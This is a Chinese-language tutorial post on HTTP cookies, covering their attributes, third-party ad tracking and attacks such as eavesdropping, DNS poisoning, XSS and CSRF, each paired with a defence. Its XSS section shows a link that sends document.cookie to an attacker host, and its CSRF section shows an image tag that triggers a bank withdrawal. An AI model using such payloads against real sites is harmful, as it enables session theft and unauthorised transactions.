这一次带你彻底了解Cookie

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2017-12-08
原文链接:mp.weixin.qq.com

前言

网络早期最大的问题之一是如何管理状态。简而言之,服务器无法知道两个请求是否来自同一个浏览器。当时最简单的方法是在请求时,在页面中插入一些参数,并在下一个请求中传回参数。这需要使用包含参数的隐藏的表单,或者作为URL参数的一部分传递。这两个解决方案都手动操作,容易出错。

网景公司当时一名员工Lou Montulli,在1994年将“cookies”的概念应用于网络通信,用来解决用户网上购物的购物车历史记录,目前所有浏览器都支持cookies。

cookie是什么

cookie翻译过来是“饼干,甜品”的意思,cookie在网络应用中到处存在,当我们浏览之前访问过的网站,网页中可能会显示:你好,王三少,这就会让我们感觉很亲切,像吃了一块很甜的饼干一样。

由于http是无状态的协议,一旦客户端和服务器的数据交换完毕,就会断开连接,再次请求,会重新连接,这就说明服务器单从网络连接上是没有办法知道用户身份的。怎么办呢?那就给每次新的用户请求时,给它颁发一个身份证(独一无二)吧,下次访问,必须带上身份证,这样服务器就会知道是谁来访问了,针对不同用户,做出不同的响应。,这就是Cookie的原理。

其实cookie是一个很小的文本文件,是浏览器储存在用户的机器上的。Cookie是纯文本,没有可执行代码。储存一些服务器需要的信息,每次请求站点,会发送相应的cookie,这些cookie可以用来辨别用户身份信息等作用。

如图所示,用户首次访问服务器,服务器会返回一个独一无二的识别码;id=23451,这样服务器可以用这个码跟踪记录用户的信息,(购物历史,地址信息等)。

cookie可以包含任意的信息,不仅仅是id,客户端会记录服务器返回来的Set-Cookie首部中的cookie内容。并将cookie存储在浏览器的cookie数据库中,当用户访问同一站点时,浏览器就会挑选当时该站点颁发的id=XXX的身份证(cookie),并在Cookie请求首部发送过去。

cookie的类型

可以按照过期时间分为两类:会话cookie和持久cookie。会话cookie是一种临时cookie,用户退出浏览器,会话Cookie就会被删除了,持久cookie则会储存在硬盘里,保留时间更长,关闭浏览器,重启电脑,它依然存在,通常是持久性的cookie会维护某一个用户周期性访问服务器的配置文件或者登录信息。

持久cookie 设置一个特定的过期时间(Expires)或者有效期(Max-Age)

  1.  Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2019 07:28:00 GMT;

cookie的属性

cookie的域

产生Cookie的服务器可以向set-Cookie响应首部添加一个Domain属性来控制哪些站点可以看到那个cookie,例如下面:

  1.  Set-Cookie: name="wang"; domain="m.zhuanzhuan.58.com"

如果用户访问的是m.zhuanzhuan.58.com那就会发送cookie: name="wang", 如果用户访问www.aaa.com(非zhuanzhuan.58.com)就不会发送这个Cookie。

cookie的路径 Path

Path属性可以为服务器特定文档指定Cookie,这个属性设置的url且带有这个前缀的url路径都是有效的。

例如:m.zhuanzhuan.58.com 和 m.zhaunzhuan.58.com/user/这两个url。 m.zhuanzhuan.58.com 设置cookie

  1.  Set-cookie: id="123432";domain="m.zhuanzhuan.58.com";

m.zhaunzhuan.58.com/user/ 设置cookie:

  1.  Set-cookie:user="wang", domain="m.zhuanzhuan.58.com"; path=/user/

但是访问其他路径m.zhuanzhuan.58.com/other/就会获得

  1.  cookie: id="123432"

如果访问m.zhuanzhuan.58.com/user/就会获得

  1.  cookie: id="123432"

  2.  cookie: user="wang"

secure

设置了属性secure,cookie只有在https协议加密情况下才会发送给服务端。但是这并不是最安全的,由于其固有的不安全性,敏感信息也是不应该通过cookie传输的.

  1.    Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;

chrome 52和firefox 52 开始不安全的(HTTP)是无法使用secure的:

操作Cookie

通过docuemnt.cookie可以设置和获取Cookie的值

  1. document.cookie = "user=wang";

  2. console.log(document.cookie);

禁止javascript操作cookie(为避免跨域脚本(xss)攻击,通过javascript的document.cookie无法访问带有HttpOnly标记的cookie。)

  1.  Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2017 07:28:00 GMT; Secure; HttpOnly

第三方cookie

通常cookie的域和浏览器地址的域匹配,这被称为第一方cookie。那么第三方cookie就是cookie的域和地址栏中的域不匹配,这种cookie通常被用在第三方广告网站。为了跟踪用户的浏览记录,并且根据收集的用户的浏览习惯,给用户推送相关的广告。 

如上图(a):用户访问服务器1的一个页面index.html,这个页面和第三方广告网站合作,这个页面还有一张www.advertisement.com域名下的一张广告图ad1.jpg,当请求这张ad1.jpg图片的时候,www.advertisement.com这个服务器会给用户设置cookie

  1.  Set-Cookie: user="wang";like="a"; domain="advertisement.com"

记录用户的浏览记录,分配一个user来表示用户的身份。

图(b):用户访问服务器2的一个index.html页面,这个页面也和同一家广告商合作,这个页面也包含一张www.advertisement.com域名下的一张广告图ad2.jpg,当请求这张ad2.jpg图片的时候,浏览器就会向www.advertisement.com发送cookie

  1. Cookie:  user="wang"; like="a";

www.advertisement.com收到浏览器发送的cookie识别了用户的身份,同时又把这个页面用户的浏览数据设置cookie

  1. Set-Cookie: buy="b"; domain="advertisement.com"

图(c):很巧,用户访问服务器3的一个index.html页面,这个页面也和那一家广告商合作,这个页面也包含一张www.advertisement.com域名下的一张广告图ad3.jpg,当请求这张ad3.jpg图片的时候,浏览器就会向www.advertisement.com发送cookie

  1.  Cookie:  user="wang"; like="a"; buy="b"

这样广告公司就可以根据用户的浏览习惯,给用户推送合适的广告。

安全

多数网站使用cookie作为用户会话的唯一标识,因为其他的方法具有限制和漏洞。如果一个网站使用cookies作为会话标识符,攻击者可以通过窃取一套用户的cookies来冒充用户的请求。从服务器的角度,它是没法分辨用户和攻击者的,因为用户和攻击者拥有相同的身份验证。 下面介绍几种cookie盗用和会话劫持的例子:

网络窃听

网络上的流量可以被网络上任何计算机拦截,特别是未加密的开放式WIFI。这种流量包含在普通的未加密的HTTP清求上发送Cookie。在未加密的情况下,攻击者可以读取网络上的其他用户的信息,包含HTTP Cookie的全部内容,以便进行中间的攻击。比如:拦截cookie来冒充用户身份执行恶意任务(银行转账等)。

解决办法:服务器可以设置secure属性的cookie,这样就只能通过https的方式来发送cookies了。

DNS缓存中毒

如果攻击者可以使DNS缓存中毒,那么攻击者就可以访问用户的Cookie了,例如:攻击者使用DNS中毒来创建一个虚拟的NDS服务h123456.www.demo.com指向攻击者服务器的ip地址。然后攻击者可以从服务器 h123456.www.demo.com/img_01.png 发布图片。用户访问这个图片,由于 www.demo.com和h123456.www.demo.com是同一个子域,所以浏览器会把用户的与www.demo.com相关的cookie都会发送到h123456.www.demo.com这个服务器上,这样攻击者就会拿到用户的cookie搞事情。

一般情况下是不会发生这种情况,通常是网络供应商错误。

跨站点脚本XSS

使用跨站点脚本技术可以窃取cookie。当网站允许使用javascript操作cookie的时候,就会发生攻击者发布恶意代码攻击用户的会话,同时可以拿到用户的cookie信息。

例子:

  1. <a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包</a>

当用户点击这个链接的时候,浏览器就会执行onclick里面的代码,结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。攻击者同样可以拿cookie搞事情。

解决办法:可以通过cookie的HttpOnly属性,设置了HttpOnly属性,javascript代码将不能操作cookie。

跨站请求伪造CSRF

例如,SanShao可能正在浏览其他用户XiaoMing发布消息的聊天论坛。假设XiaoMing制作了一个引用ShanShao银行网站的HTML图像元素,例如,

  1. <img  src = "http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >

如果SanShao的银行将其认证信息保存在cookie中,并且cookie尚未过期,(当然是没有其他验证身份的东西),那么SanShao的浏览器尝试加载该图片将使用他的cookie提交提款表单,从而在未经SanShao批准的情况下授权交易。

解决办法:增加其他信息的校验(手机验证码,或者其他盾牌)。

欢迎留言交流。

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